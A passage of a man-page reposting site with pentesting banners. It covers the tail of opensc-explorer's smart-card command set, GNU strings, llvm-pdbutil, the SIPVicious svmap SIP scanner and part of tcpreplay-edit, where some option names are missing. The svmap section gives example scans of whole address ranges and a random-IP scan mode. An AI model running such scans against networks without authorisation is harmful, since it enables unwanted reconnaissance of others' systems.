The following commands are supported:

#

Treat line as a comment. Ignore anything until the end of the line introduced by #.

apdu data

Send a custom APDU command to the card. data is a series of sequences of hexadecimal values and strings enclosed in double quotes ("…").

asn1 file-id [rec-no] [offs]

Parse and print the ASN.1 encoded content of the working EF specified by file-id. If the optional parameter rec-no is given and the file is a record-oriented EF, parse and print only the record indicated by this parameter. If the optional parameter offs is given, start parsing and printing the file or record at the offset indicated by the value given. If this parameter is not given, the default offset is 0.

cat [file-id | sfi:short-id] [rec-no]

Print the contents of the working EF specified by file-id or the short file id short-id. If the optional second parameter rec-no is given, only print the record indicated by this parameter. If no argument is given, print the the contents of the currently selected EF.

cd {.. | file-id | aid:DF-name}

Change to another DF specified by the argument passed. If the argument given is .., then move up one level in the file system hierarchy. If it is a file-id, which must be a DF directly beneath the current DF, then change to that DF. If it is an application identifier given as aid:DF-name, then jump to the MF of the application denoted by DF-name.

change CHVpin-ref [[old-pin] new-pin]

Change the PIN specified by pin-ref from the value given by old-pin and change its value to new-pin.

old-pin and new-pin can be sequences of hexadecimal values, strings enclosed in double quotes ("…"), empty (""), or absent. If absent, the values are read from the card readers pin pad.

Examples:

change CHV2 00:00:00:00:00:00 “foobar”

Change PIN CHV2 to the new value foobar, giving the old value 00:00:00:00:00:00.

change CHV2 “foobar”

Set PIN CHV2 to the new value foobar.

change CHV2

Change PIN CHV2 using the card readers pinpad.

create file-id size

Create a new EF. file-id specifies the numeric id, and size the size of the EF to create.

debug [level]

Set OpenSC debug level to level.

If level is omitted, show the current debug level.

delete file-id

Remove the EF or DF specified by file-id.

do_get hex-tag [output]

Copy the contents of the cards data object (DO) specified by hex-tag to the local host computers file named output.

If output is not given, the contents of hex-tag will be displayed as hex-dump.

do_put hex-tag data

Change the contents of the cards data object (DO) specified by hex-tag to data.

data is either a sequence of hexadecimal values or a string enclosed in double quotes ("…").

echo string

Print the strings given.

erase

Erase the card, if the card supports it.

get file-id [output]

Copy an EF to a local file. The local file is specified by output while the card file is specified by file-id.

If output is omitted, the name of the output file will be derived from the full card path to file-id.

get_record file-id rec-no [output]

Copy a record of a record-oriented EF to a local file. The local file is specified by output while the card file and the record are specified by file-id and rec-no,

If output is omitted, the name of the output file will be derived from the full card path to file-id. and the rec-no.

help [pattern]

Display the list of available commands, their options and parameters together with a short help text. If pattern is given, the commands shown are limited to those matching pattern.

info [file-id]

Display attributes of a file specified by file-id. If file-id is not supplied, the attributes of the current file are displayed.

ls [pattern…]

List files in the current DF. If no pattern is given, then all files are listed. If one or more patterns are given, only files matching at least one pattern are listed.

find [start-id [end-id]]

Find all files in the current DF. Files are found by selecting all file identifiers in the range from start-fid to end-fid.

If not given, the default value for start-fid is 0000, while the default for end-fid is FFFF.

find_tags [start-tag [end-tag]]

Find all tags of data objects in the current context. Tags are found by using GET DATA in the range from from start-tag to end-tag.

If not given, the default value for start-tag is 0000, while the default for end-tag is FFFF.

mkdir file-id size

Create a DF. file-id specifies the numeric id, and size the size of the DF to create.

pin_info key-typekey-id

Get information on a PIN or key from the card, where key-type can be one of CHV, KEY, AUT or PRO. key-id is a number representing the key or PIN reference.

put file-id input

Copy a local file to the card. The local file is specified by input while the card file is specified by file-id.

quit

Exit the program.

random count [output-file]

Generate count bytes of random data. If output-file is given, write the data to the host computers file denoted by it, otherwise show the data as hex dump.

rm file-id

Remove the EF or DF specified by file-id.

unblock CHVpin-ref [puk [new-pin]]

Unblock the PIN denoted by pin-ref using the PUK puk, and potentially change its value to new-pin.

puk and new-pin can be sequences of hexadecimal values, strings enclosed in double quotes ("…"), empty (""), or absent. If absent, the values are read from the card readers pin pad.

Examples:

unblock CHV2 00:00:00:00:00:00 “foobar”

Unblock PIN CHV2 using PUK 00:00:00:00:00:00 and set it to the new value foobar.

unblock CHV2 00:00:00:00:00:00 ""

Unblock PIN CHV2 using PUK 00:00:00:00:00:00 keeping the old value.

unblock CHV2 "" “foobar”

Set new value of PIN CHV2 to foobar.

unblock CHV2 00:00:00:00:00:00

Unblock PIN CHV2 using PUK 00:00:00:00:00:00. The new PIN value is prompted by pinpad.

unblock CHV2 ""

Set PIN CHV2. The new PIN value is prompted by pinpad.

unblock CHV2

Unblock PIN CHV2. The unblock code and new PIN value are prompted by pinpad.

update_binary file-id offs data

Binary update of the file specified by file-id with the literal data data starting from offset specified by offs.

data can be supplied as a sequence of hexadecimal values or as a string enclosed in double quotes ("…").

update_record file-id rec-nr rec-offs data

Update record specified by rec-nr of the file specified by file-id with the literal data data starting from offset specified by rec-offs.

data can be supplied as a sequence of hexadecimal values or as a string enclosed in double quotes ("…").

verify key-typekey-id [key]

Present a PIN or key to the card, where key-type can be one of CHV, KEY, AUT or PRO. key-id is a number representing the key or PIN reference. key is the key or PIN to be verified, formatted as a colon-separated sequence of hexadecimal values or a string enclosed in double quotes ("…").

If key is omitted, the exact action depends on the card readers features: if the card readers supports PIN input via a pin pad, then the PIN will be verified using the card readers pin pad. If the card reader does not support PIN input, then the PIN will be asked interactively.

Examples:

verify CHV2 31:32:33:34:00:00:00:00

Verify CHV2 using the hex value 31:32:33:34:00:00:00:00

verify CHV1 “secret”

Verify CHV1 using the string value secret.

verify KEY2

Verify KEY2, get the value from the card readers pin pad.

sm {open | close}

Call the cards open or close Secure Messaging handler.

SEE ALSO

opensc-tool(1)

AUTHORS

opensc-explorer was written by Juha Yrjölä <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

873 - Linux cli command x86_64-linux-gnu-strings

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-strings and provides detailed information about the command x86_64-linux-gnu-strings, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-strings.

NAME 🖥️ x86_64-linux-gnu-strings 🖥️

print the sequences of printable characters in files

SYNOPSIS

strings [-afovV] [-min-len] [-n min-len] [–bytes=min-len] [-t radix] [–radix=radix] [-e encoding] [–encoding=encoding] [-U method] [–unicode=method] [-] [–all] [–print-file-name] [-T bfdname] [–target=bfdname] [-w] [–include-all-whitespace] [-s] [–output-separator sep_string] [–help] [–version] file

DESCRIPTION

For each file given, GNU strings prints the printable character sequences that are at least 4 characters long (or the number given with the options below) and are followed by an unprintable character.

Depending upon how the strings program was configured it will default to either displaying all the printable sequences that it can find in each file, or only those sequences that are in loadable, initialized data sections. If the file type is unrecognizable, or if strings is reading from stdin then it will always display all of the printable sequences that it can find.

For backwards compatibility any file that occurs after a command-line option of just - will also be scanned in full, regardless of the presence of any -d option.

strings is mainly useful for determining the contents of non-text files.

OPTIONS

-a

–all

Scan the whole file, regardless of what sections it contains or whether those sections are loaded or initialized. Normally this is the default behaviour, but strings can be configured so that the -d is the default instead. The - option is position dependent and forces strings to perform full scans of any file that is mentioned after the - on the command line, even if the -d option has been specified.

-d

–data

Only print strings from initialized, loaded data sections in the file. This may reduce the amount of garbage in the output, but it also exposes the strings program to any security flaws that may be present in the BFD library used to scan and load sections. Strings can be configured so that this option is the default behaviour. In such cases the -a option can be used to avoid using the BFD library and instead just print all of the strings found in the file.

-f

–print-file-name

Print the name of the file before each string.

–help
Print a summary of the program usage on the standard output and exit.

-min-len

-n min-len

–bytes=min-len

Print sequences of displayable characters that are at least min-len characters long. If not specified a default minimum length of 4 is used. The distinction between displayable and non-displayable characters depends upon the setting of the -e and -U options. Sequences are always terminated at control characters such as new-line and carriage-return, but not the tab character.

-o
Like -t o. Some other versions of strings have -o act like -t d instead. Since we can not be compatible with both ways, we simply chose one.

-t radix

–radix=radix

Print the offset within the file before each string. The single character argument specifies the radix of the offset—o for octal, x for hexadecimal, or d for decimal.

-e encoding

–encoding=encoding

Select the character encoding of the strings that are to be found. Possible values for encoding are: s = single-7-bit-byte characters (default), S = single-8-bit-byte characters, b = 16-bit bigendian, l = 16-bit littleendian, B = 32-bit bigendian, L = 32-bit littleendian. Useful for finding wide character strings. (l and b apply to, for example, Unicode UTF-16/UCS-2 encodings).

-U [d|i|l|e|x|h]

–unicode=[default|invalid|locale|escape|hex|highlight]

Controls the display of UTF-8 encoded multibyte characters in strings. The default (–unicode=default) is to give them no special treatment, and instead rely upon the setting of the –encoding option. The other values for this option automatically enable –encoding=S. The –unicode=invalid option treats them as non-graphic characters and hence not part of a valid string. All the remaining options treat them as valid string characters. The –unicode=locale option displays them in the current locale, which may or may not support UTF-8 encoding. The –unicode=hex option displays them as hex byte sequences enclosed between <> characters. The –unicode=escape option displays them as escape sequences (\uxxxx) and the –unicode=highlight option displays them as escape sequences highlighted in red (if supported by the output device). The colouring is intended to draw attention to the presence of unicode sequences where they might not be expected.

-T bfdname

–target=bfdname

Specify an object code format other than your system’s default format.

-v

-V

–version

Print the program version number on the standard output and exit.

-w

–include-all-whitespace

By default tab and space characters are included in the strings that are displayed, but other whitespace characters, such a newlines and carriage returns, are not. The -w option changes this so that all whitespace characters are considered to be part of a string.

-s

–output-separator

By default, output strings are delimited by a new-line. This option allows you to supply any string to be used as the output record separator. Useful with –include-all-whitespace where strings may contain new-lines internally.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), nm (1), objdump (1), ranlib (1), readelf (1) and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

874 - Linux cli command llvm-pdbutil-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-pdbutil-16 and provides detailed information about the command llvm-pdbutil-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-pdbutil-16.

NAME 🖥️ llvm-pdbutil-16 🖥️

pdbutil - PDB File forensics and diagnostics

  • Synopsis

  • Description

  • Subcommands

    • pretty

      • Summary

      • Options

        • Filtering and Sorting Options

        • Symbol Type Options

        • Other Options

    • dump

      • Summary

      • Options

        • MSF Container Options

        • Module & File Options

        • Symbol Options

        • Type Record Options

        • Miscellaneous Options

    • bytes

      • Summary

      • Options

        • MSF File Options

        • PDB Stream Options

        • DBI Stream Options

        • Module Options

        • Type Record Options

    • pdb2yaml

      • Summary

      • Options

    • yaml2pdb

      • Summary

      • Options

    • merge

      • Summary

      • Options

SYNOPSIS

llvm-pdbutil [subcommand] [options]

DESCRIPTION

Display types, symbols, CodeView records, and other information from a PDB file, as well as manipulate and create PDB files. llvm-pdbutil is normally used by FileCheck-based tests to test LLVM’s PDB reading and writing functionality, but can also be used for general PDB file investigation and forensics, or as a replacement for cvdump.

SUBCOMMANDS

llvm-pdbutil is separated into several subcommands each tailored to a different purpose. A brief summary of each command follows, with more detail in the sections that follow.

  • pretty - Dump symbol and type information in a format that tries to look as much like the original source code as possible.

  • dump - Dump low level types and structures from the PDB file, including CodeView records, hash tables, PDB streams, etc.

  • bytes - Dump data from the PDB file’s streams, records, types, symbols, etc as raw bytes.

  • yaml2pdb - Given a yaml description of a PDB file, produce a valid PDB file that matches that description.

  • pdb2yaml - For a given PDB file, produce a YAML description of some or all of the file in a way that the PDB can be reconstructed.

  • merge - Given two PDBs, produce a third PDB that is the result of merging the two input PDBs.

pretty

IMPORTANT:

The pretty subcommand is built on the Windows DIA SDK, and as such is not supported on non-Windows platforms.

USAGE: llvm-pdbutil pretty [options] <input PDB file>

Summary

The pretty subcommand displays a very high level representation of your program’s debug info. Since it is built on the Windows DIA SDK which is the standard API that Windows tools and debuggers query debug information, it presents a more authoritative view of how a debugger is going to interpret your debug information than a mode which displays low-level CodeView records.

Options

Filtering and Sorting Options

NOTE:

exclude filters take priority over include filters. So if a filter matches both an include and an exclude rule, then it is excluded.

-exclude-compilands=<string>
When dumping compilands, compiland source-file contributions, or per-compiland symbols, this option instructs llvm-pdbutil to omit any compilands that match the specified regular expression.

-exclude-symbols=<string>
When dumping global, public, or per-compiland symbols, this option instructs llvm-pdbutil to omit any symbols that match the specified regular expression.

-exclude-types=<string>
When dumping types, this option instructs llvm-pdbutil to omit any types that match the specified regular expression.

-include-compilands=<string>
When dumping compilands, compiland source-file contributions, or per-compiland symbols, limit the initial search to only those compilands that match the specified regular expression.

-include-symbols=<string>
When dumping global, public, or per-compiland symbols, limit the initial search to only those symbols that match the specified regular expression.

-include-types=<string>
When dumping types, limit the initial search to only those types that match the specified regular expression.

-min-class-padding=<uint>
Only display types that have at least the specified amount of alignment padding, accounting for padding in base classes and aggregate field members.

-min-class-padding-imm=<uint>
Only display types that have at least the specified amount of alignment padding, ignoring padding in base classes and aggregate field members.

-min-type-size=<uint>
Only display types T where sizeof(T) is greater than or equal to the specified amount.

-no-compiler-generated
Don’t show compiler generated types and symbols

-no-enum-definitions
When dumping an enum, don’t show the full enum (e.g. the individual enumerator values).

-no-system-libs
Don’t show symbols from system libraries

Symbol Type Options

-all
Implies all other options in this category.

-class-definitions=<format>
Displays class definitions in the specified format.

=all - Display all class members including data, constants, typedefs, functions, etc (default) =layout - Only display members that contribute to class size. =none - Don’t display class definitions (e.g. only display the name and base list)

-class-order
Displays classes in the specified order.

=none - Undefined / no particular sort order (default) =name - Sort classes by name =size - Sort classes by size =padding - Sort classes by amount of padding =padding-pct - Sort classes by percentage of space consumed by padding =padding-imm - Sort classes by amount of immediate padding =padding-pct-imm - Sort classes by percentage of space consumed by immediate padding

-class-recurse-depth=<uint>
When dumping class definitions, stop after recursing the specified number of times. The default is 0, which is no limit.

-classes
Display classes

-compilands
Display compilands (e.g. object files)

-enums
Display enums

-externals
Dump external (e.g. exported) symbols

-globals
Dump global symbols

-lines
Dump the mappings between source lines and code addresses.

-module-syms
Display symbols (variables, functions, etc) for each compiland

-sym-types=<types>
Type of symbols to dump when -globals, -externals, or -module-syms is specified. (default all)

=thunks - Display thunk symbols =data - Display data symbols =funcs - Display function symbols =all - Display all symbols (default)

-symbol-order=<order>
For symbols dumped via the -module-syms, -globals, or -externals options, sort the results in specified order.

=none - Undefined / no particular sort order =name - Sort symbols by name =size - Sort symbols by size

-typedefs
Display typedef types

-types
Display all types (implies -classes, -enums, -typedefs)

Other Options

-color-output
Force color output on or off. By default, color if used if outputting to a terminal.

-load-address=<uint>
When displaying relative virtual addresses, assume the process is loaded at the given address and display what would be the absolute address.

dump

USAGE: llvm-pdbutil dump [options] <input PDB file>

Summary

The dump subcommand displays low level information about the structure of a PDB file. It is used heavily by LLVM’s testing infrastructure, but can also be used for PDB forensics. It serves a role similar to that of Microsoft’s cvdump tool.

NOTE:

The dump subcommand exposes internal details of the file format. As such, the reader should be familiar with The PDB File Format before using this command.

Options

MSF Container Options

-streams
dump a summary of all of the streams in the PDB file.

-stream-blocks
In conjunction with -streams, add information to the output about what blocks the specified stream occupies.

-summary
Dump MSF and PDB header information.

Module & File Options

-modi=<uint>
For all options that dump information from each module/compiland, limit to the specified module.

-files
Dump the source files that contribute to each displayed module.

-il
Dump inlinee line information (DEBUG_S_INLINEELINES CodeView subsection)

-l
Dump line information (DEBUG_S_LINES CodeView subsection)

-modules
Dump compiland information

-xme
Dump cross module exports (DEBUG_S_CROSSSCOPEEXPORTS CodeView subsection)

-xmi
Dump cross module imports (DEBUG_S_CROSSSCOPEIMPORTS CodeView subsection)

Symbol Options

-globals
dump global symbol records

-global-extras
dump additional information about the globals, such as hash buckets and hash values.

-publics
dump public symbol records

-public-extras
dump additional information about the publics, such as hash buckets and hash values.

-symbols
dump symbols (functions, variables, etc) for each module dumped.

-sym-data
For each symbol record dumped as a result of the -symbols option, display the full bytes of the record in binary as well.

Type Record Options

-types
Dump CodeView type records from TPI stream

-type-extras
Dump additional information from the TPI stream, such as hashes and the type index offsets array.

-type-data
For each type record dumped, display the full bytes of the record in binary as well.

-type-index=<uint>
Only dump types with the specified type index.

-ids
Dump CodeView type records from IPI stream.

-id-extras
Dump additional information from the IPI stream, such as hashes and the type index offsets array.

-id-data
For each ID record dumped, display the full bytes of the record in binary as well.

-id-index=<uint>
only dump ID records with the specified hexadecimal type index.

-dependents
When used in conjunction with -type-index or -id-index, dumps the entire dependency graph for the specified index instead of just the single record with the specified index. For example, if type index 0x4000 is a function whose return type has index 0x3000, and you specify -dependents=0x4000, then this would dump both records (as well as any other dependents in the tree).

Miscellaneous Options

-all
Implies most other options.

-section-contribs
Dump section contributions.

-section-headers
Dump image section headers.

-section-map
Dump section map.

-string-table
Dump PDB string table.

bytes

USAGE: llvm-pdbutil bytes [options] <input PDB file>

Summary

Like the dump subcommand, the bytes subcommand displays low level information about the structure of a PDB file, but it is used for even deeper forensics. The bytes subcommand finds various structures in a PDB file based on the command line options specified, and dumps them in hex. Someone working on support for emitting PDBs would use this heavily, for example, to compare one PDB against another PDB to ensure byte-for-byte compatibility. It is not enough to simply compare the bytes of an entire file, or an entire stream because it’s perfectly fine for the same structure to exist at different locations in two different PDBs, and “finding” the structure is half the battle.

Options

MSF File Options

-block-range=<start[-end]>
Dump binary data from specified range of MSF file blocks.

-byte-range=<start[-end]>
Dump binary data from specified range of bytes in the file.

-fpm
Dump the MSF free page map.

-stream-data=<string>
Dump binary data from the specified streams. Format is SN[:Start][@Size]. For example, -stream-data=7:3@12 dumps 12 bytes from stream 7, starting at offset 3 in the stream.

PDB Stream Options

-name-map
Dump bytes of PDB Name Map

DBI Stream Options

-ec
Dump the edit and continue map substream of the DBI stream.

-files
Dump the file info substream of the DBI stream.

-modi
Dump the modi substream of the DBI stream.

-sc
Dump section contributions substream of the DBI stream.

-sm
Dump the section map from the DBI stream.

-type-server
Dump the type server map from the DBI stream.

Module Options

-mod=<uint>
Limit all options in this category to the specified module index. By default, options in this category will dump bytes from all modules.

-chunks
Dump the bytes of each module’s C13 debug subsection.

-split-chunks
When specified with -chunks, split the C13 debug subsection into a separate chunk for each subsection type, and dump them separately.

-syms
Dump the symbol record substream from each module.

Type Record Options

-id=<uint>
Dump the record from the IPI stream with the given type index.

-type=<uint>
Dump the record from the TPI stream with the given type index.

pdb2yaml

USAGE: llvm-pdbutil pdb2yaml [options] <input PDB file>

Summary

Options

yaml2pdb

USAGE: llvm-pdbutil yaml2pdb [options] <input YAML file>

Summary

Generate a PDB file from a YAML description. The YAML syntax is not described here. Instead, use llvm-pdbutil pdb2yaml and examine the output for an example starting point.

Options

-pdb=<file-name>

Write the resulting PDB to the specified file.

merge

USAGE: llvm-pdbutil merge [options] <input PDB file 1> <input PDB file 2>

Summary

Merge two PDB files into a single file.

Options

-pdb=<file-name>

Write the resulting PDB to the specified file.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

875 - Linux cli command svmap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command svmap and provides detailed information about the command svmap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the svmap.

NAME 🖥️ svmap 🖥️

scanner that searches for SIP devices on a given network

SYNOPSIS

svmap.py [options] host1 host2 hostrange

DESCRIPTION

Scans for SIP devices on a given network

examples:

svmap.py 10.0.0.1-10.0.0.255 172.16.131.1 sipvicious.org/22 10.0.1.1/241.1.1.1-20 1.1.2-20.* 4.1.*.*

svmap.py -s session1 –randomize 10.0.0.1/8

svmap.py –resume session1 -v

svmap.py -p5060-5062 10.0.0.3-20 -m INVITE

OPTIONS

–version
show program’s version number and exit

-h, –help
show this help message and exit

-v, –verbose
Increase verbosity

-q, –quiet
Quiet mode

-p PORT, –port=PORT
Destination port or port ranges of the SIP device - eg -p5060,5061,8000-8100

-P PORT, –localport=PORT
Source port for our packets

-x IP, –externalip=IP
IP Address to use as the external ip. Specify this if you have multiple interfaces or if you are behind NAT

-b BINDINGIP, –bindingip=BINDINGIP
By default we bind to all interfaces. This option overrides that and binds to the specified ip address

-t SELECTTIME, –timeout=SELECTTIME
This option allows you to trottle the speed at which packets are sent. Change this if you’re losing packets. For example try 0.5.

-R, –reportback
Send the author an exception traceback. Currently sends the command line parameters and the traceback

-A, –autogetip
Automatically get the current IP address. This is useful when you are not getting any responses back due to SIPVicious not resolving your local IP.

-s NAME, –save=NAME
save the session. Has the benefit of allowing you to resume a previous scan and allows you to export scans

–resume=NAME
resume a previous scan

-c, –enablecompact
enable compact mode. Makes packets smaller but possibly less compatible

–randomscan
Scan random IP addresses

-i scan1, –input=scan1
Scan IPs which were found in a previous scan. Pass the session name as the argument

-I scan1, –inputtext=scan1
Scan IPs from a text file - use the same syntax as command line but with new lines instead of commas. Pass the file name as the argument

-m METHOD, –method=METHOD
Specify the request method - by default this is OPTIONS.

-d, –debug
Print SIP messages received

–first=FIRST
Only send the first given number of messages (i.e. usually used to scan only X IPs)

-e EXTENSION, –extension=EXTENSION
Specify an extension - by default this is not set

–randomize
Randomize scanning instead of scanning consecutive ip addresses

–srv
Scan the SRV records for SIP on the destination domain name.The targets have to be domain names - example.org domain1.com

–fromname=FROMNAME
Specify a name for the from header in requests

-6, –ipv6
Scan an IPv6 address

SIPvicious SIP scanner searches for SIP devices on a given network.

Copyright (C) 2021 Sandro Gauci <[email protected]>

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.

SEE ALSO

The full documentation for svmap.py can be found on GitHub at <https://github.com/enablesecurity/sipvicious/wiki>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

876 - Linux cli command tcpreplay-edit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tcpreplay-edit and provides detailed information about the command tcpreplay-edit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tcpreplay-edit.

NAME 🖥️ tcpreplay-edit 🖥️

edit** - Replay network traffic stored in pcap files

SYNOPSIS

tcpreplay-edit [-flags] [-flag [value]] [–option-name[[=| ]value]] <pcap_file(s)> | <pcap_dir(s)>

tcpreplay is a tool for replaying network traffic from files saved with tcpdump or other tools which write pcap(3) files.

DESCRIPTION

The basic operation of tcpreplay is to resend all packets from the input file(s) at the speed at which they were recorded, or a specified data rate, up to as fast as the hardware is capable.

Optionally, the traffic can be split between two interfaces, written to files, filtered and edited in various ways, providing the means to test firewalls, NIDS and other network devices.

For more details, please see the Tcpreplay Manual at: http://tcpreplay.appneta.com

OPTIONS

Rewrite TCP/UDP ports. This option may appear up to 9999 times.

Specify a list of comma delimited port mappings consisting of colon delimited port number pairs. Each colon delimited port pair consists of the port to match followed by the port number to rewrite.

Examples:

    --portmap=80:8000 --portmap=8080:80    # 80->8000 and 8080->80
    --portmap=8000,8080,88888:80           # 3 different ports become 80
    --portmap=8000-8999:80                 # ports 8000 to 8999 become 80

Randomize src/dst IPv4/v6 addresses w/ given seed. This option may appear up to 1 times. This option must not appear in combination with any of the following options: fuzz-seed. This option takes an integer number as its argument.

Causes the source and destination IPv4/v6 addresses to be pseudo randomized but still maintain client/server relationships. Since the randomization is deterministic based on the seed, you can reuse the same seed value to recreate the traffic.

Rewrite IPv4/v6 addresses using pseudo-NAT. This option may appear up to 2 times. This option must not appear in combination with any of the following options: srcipmap.

Takes a comma delimited series of colon delimited CIDR netblock pairs. Each netblock pair is evaluated in order against the IP addresses. If the IP address in the packet matches the first netblock, it is rewritten using the second netblock as a mask against the high order bits.

IPv4 Example:

    --pnat=192.168.0.0/16:10.77.0.0/16,172.16.0.0/12:10.1.0.0/24

IPv6 Example:

    --pnat=[2001:db8::/32]:[dead::/16],[2001:db8::/32]:[::ffff:0:0/96]

Rewrite source IPv4/v6 addresses using pseudo-NAT. This option may appear up to 1 times. This option must not appear in combination with any of the following options: pnat.

Works just like the –pnat option, but only affects the source IP addresses in the IPv4/v6 header.

Rewrite destination IPv4/v6 addresses using pseudo-NAT. This option may appear up to 1 times. This option must not appear in combination with any of the following options: pnat.

Works just like the –pnat option, but only affects the destination IP addresses in the IPv4/v6 header.

Rewrite IP addresses to be between two endpoints. This option may appear up to 1 times. This option must appear in combination with the following options: cachefile.

Takes a pair of colon delimited IPv4/v6 addresses which will be used to rewrite all traffic to appear to be between the two IP addresses.

IPv4 Example:

    --endpoints=172.16.0.1:172.16.0.2

IPv6 Example:

    --endpoints=[2001:db8::dead:beef]:[::ffff:0:0:ac:f:0:2]

Change TCP Sequence (and ACK) numbers /w given seed. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 1

The default number for this option is:

0

Change all TCP sequence numbers, and related sequence-acknowledgement numbers. They will be shifted by a random amount based on the provided seed.

Skip rewriting broadcast/multicast IPv4/v6 addresses.

By default –seed, –pnat and –endpoints will rewrite broadcast and multicast IPv4/v6 and MAC addresses. Setting this flag will keep broadcast/multicast IPv4/v6 and MAC addresses from being rewritten.

Force recalculation of IPv4/TCP/UDP header checksums.

Causes each IPv4/v6 packet to have their checksums recalculated and fixed. Automatically enabled for packets modified with –seed, –pnat, –endpoints or –fixlen.

Alter IP/TCP header len to match packet length.

